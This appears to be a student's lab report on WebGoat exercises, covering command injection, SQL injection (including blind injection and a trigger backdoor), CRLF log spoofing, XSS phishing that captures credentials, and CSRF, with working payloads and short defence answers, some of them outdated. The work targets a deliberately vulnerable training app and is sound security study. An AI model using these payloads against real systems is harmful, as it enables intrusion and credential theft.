Exp 9 Web安全基础

1.实验要求

本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目。

2.实验操作与截图

2.1 Wegoat安装

从有webgoat-container-7.0.1-war-exec.jar文件目录的命令行中输入java -jar webgoat-container-7.0.1-war-exec.jar 开启WebGoat。

 

 

 

 

 

 

浏览器中输入localhost:8080/WebGoat进入WebGoat登录界面,输入用户名guest密码guest。没有出现课程,按照教程进行配置,然后重新运行WebGoat,浏览器重新登陆正常显示。

 

 

 

2.2SQL注入攻击

2.2.1.Command Injection(命令注入)


原理:在正常的参数提交过程中,添加恶意的代码,往往能够得到以外的收获。
目标:能够在目标主机上执行任何系统命令

操作方法:在左侧菜单栏中选择 Injection Flaws->Command Injection

右键点击复选框选择Inspect Element审查网页元素对源代码<option>进行修改,在复选框中任意一栏的代码后添加"& netstat -an & ipconfig"。

 

点击 View 可以看到网络端口使用情况和 IP 地址

 

 

 

 

2.2.2Numeric SQL Injection(数字型SQL注入)

原理:在 station 字段中注入特征字符,能组合成新的 SQL 语句。
SELECT * FROM weather_data WHERE station = [station] 

右键点击复选框选择 Inspect Element 审查网页元素对源代码<option>进行修改,在在选中的城市编号 value="101"后添加or 1=1

可以看到所有城实的天气。

 

 

 

 

 

 

 

2.2.3Log Spoofing(日志欺骗)

原理:这种攻击是在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹
目标:灰色区域代表在 Web 服务器的日志中的记录的内容,我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”
操作方法:
利用回车0D%和换行符%0A让其在日志中两行显示

在User Name中填入 webgoat%0d%0aLogin Succeeded for username: 20174308lhz

点击Login可以看到 webgoat Login Fail,和自己添加的 20174305lhz  Login Succeeded

 

 

 

2.2.4String SQL Injection(字符串型注入)

目标 基于查询语句构造自己的SQL注入字符串,显示所有信用卡信息 
操作方法:
使用'提前闭合"",插入永真式1=1,--注释掉后面的内容

输入查询的用户名【yb' or 1=1--select】表里面的所有数据.

 

 

 

2.2.5LAB: SQL Injection

目标:使用 SQL 注入绕过认证 

右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改为20

以用户Neville登录,输入密码【hj' or '1' = '1】,攻击成功,得到所有人员列表。

 

 

 

2.2.6Database Backdoors(数据库后门)

原理:数据库通常作为一个 Web 应用程序的后端来使用。此外,它也用来作为存储的媒介。 它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操作,如 insert, select, update or delete。举个例子:攻击者可以创建一个触发器, 该触发器在创建新用户时,将每个新用户的 Email 地址设置为攻击者的地址。 
目标:我们的目标是学习如何利用查询的脆弱性创建触发器。由于 WebGoat 使用的是 MySQL 数据库,不支持触发器,所以该课程不会真正完成。  

输入101,得到该用户的信息

 

 

 

 输入注入语句【101; update employee set salary=8000】执行两个语句

 

 

 输入【101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='chaowendao@outlook.com'WHERE userid = NEW.userid】  注入一个充当SQL后门的触发器。

 

 

 

2.2.7Blind Numeric SQL Injection(数字型盲注入)

原理:某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
目标:下面的表单允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。
操作方法:
本实验中,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN数值。尽管如此,我们可以利用系统后台在用的查询语句SELECT * FROM user_data WHERE userid=accountNumber;
如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用 AND 函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效。
输入查询语句101 AND 1=1 ,因为两个条件都成立,所以页面返回帐号有效。

 

 

 输入查询语句101 AND 1=2 ,有一个条件不成立,所以返回账号无效

 

 

 针对查询语句的后半部分构造复杂语句 101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

如果页面提示帐号有效,说明PIN>10000,否则PIN<=10000;不断调整数值,可以利用二分法,最终判断出PIN数值的大小为2364。

 

 

 

2.3XXS攻击

2.3.1Phishing with XSS 跨站脚本钓鱼攻击

技术概念:在服务端对所有输入进行验证总是不错的做法。当用户输入非法 HTTP 响应时容易造成 XSS。在 XSS 的帮助下,您可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。 
原理:如果有权限操作页面源代码,那么 HTML 文档的内容是可以被篡改的。 
目标:创建一个 form,要求填写用户名和密码。将数据提交到黑客服务器 。

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>


输入用户名和密码,读取在表单上输入的用户名和密码信息并发给WebGoat.

 


 


2.3.2存储型XSS攻击(Stored XSS Attacks)


原理: 这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。 
目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容


在title中任意输入字符,留言板中输入【<script>alert("You're lengendary.lhz ");</script>】后点击Submit攻击成功


 

 

2.3.3反射型XSS攻击(Reflected XSS Attacks)

技术概念:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。 
目标:通过使用攻击脚本创建一个URL,并将其发布到另一个网站,通过电子邮件引诱用户点击实现攻击

在Enter your three digit access code中输入代码【<script>alert("You're lengendary.lhz");</script>】,点击purchase的同时页面就给出了反馈


 

 

 


2.4CSRF攻击

2.4.1跨站请求伪造(Cross Site Request Forgery (CSRF))

 原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示: 

<imgsrc="https://www.mybank.com/me?transferFunds=5000&to=123456"/>
当受害者的浏览器试图呈现此页面时,它将使用指定的参数向www.mybank.com的“me”端点发出请求。浏览器将请求链接以获得图像,即使它实际上是一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此,如果用户对站点进行了身份验证,并且拥有永久或当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。通过这种方式,攻击者可以让受害者执行他们不打算执行的操作,比如“购买物品”,或者脆弱网站提供的任何其他功能。 
操作方法:
查看页面右侧Parameters中的src和menu值,分别为290和900。


在title中输入任何参数,message框中输入【<img src="http://localhost:8080/WebGoat/attack?Screen=290&menu=900&transferFunds=5000" width="1" height="1" />】,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交。


 

 

 

 


 

 

 

2.4.2绕过 CSRF 确认( CSRF Prompt By‐Pass)

主题:实现跨站请求伪造攻击(CSRF),包括通过多个请求绕过用户确认脚本命令
原理:跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。

操作方法:
查看页面右侧Parameters中的src和menu值分别为280和900。

并在title框中随意输入,message框中输入代码: 
<iframe src="attack?Screen=280&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=280&menu=900&transferFunds=CONFIRM"> </iframe>

 

 3.基础问题回答

(1).SQL注入攻击原理,如何防御??

原理:指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。

防御:

1.对输入的数据进行过滤,过滤掉敏感字符。加密数据库。

2.在PHP配置文件中Register_globals=off;设置为关闭状态,作用将注册全局变量关闭。

3.提高数据库命名技巧,对于一些重要的字段根据程序的特点命名,取不易被猜到的

4.开启PHP安全模式Safe_mode=on;

5.采取辅助软件或网站平台来检测sql注入。

(2)XSS攻击的原理,如何防御?

原理:攻击者利用网站漏洞,输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。

防御:

在服务器段限制输入格式,输入类型,输入长度以及输入字符

要注意避免使用一些有潜在危险的html标签,这些标签很容易嵌入一些恶意网页代码。

对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。

(3)CSRF攻击原理,如何防御?

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

原理:通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。

防御:

用户在浏览其它站点前登出站点;在浏览器会话结束后清理浏览器的cookie;尽量不要在页面的链接中暴露用户隐私信息;避免全站通用的cookie,严格设置cookie的域。

4.实验感受与心得

本次实验为本课程最后一次实验,经过一学期的实验上机操作,我对此次实验得心应手,操作十分流畅。不过对于其中的原理的理解还是不够深刻,课下应该多加巩固。虽然这门课快要结束了,但关于网络对抗技术的研究与学习是不会停止的,我们以后也应该多加涉猎与了解。最后非常感谢老师和各位同学在本学期对我的帮助和指导,谢谢大家,我们下次再见。

 

posted @ 2020-05-28 12:58  20174305刘鸿钊  阅读(138)  评论(0编辑  收藏  举报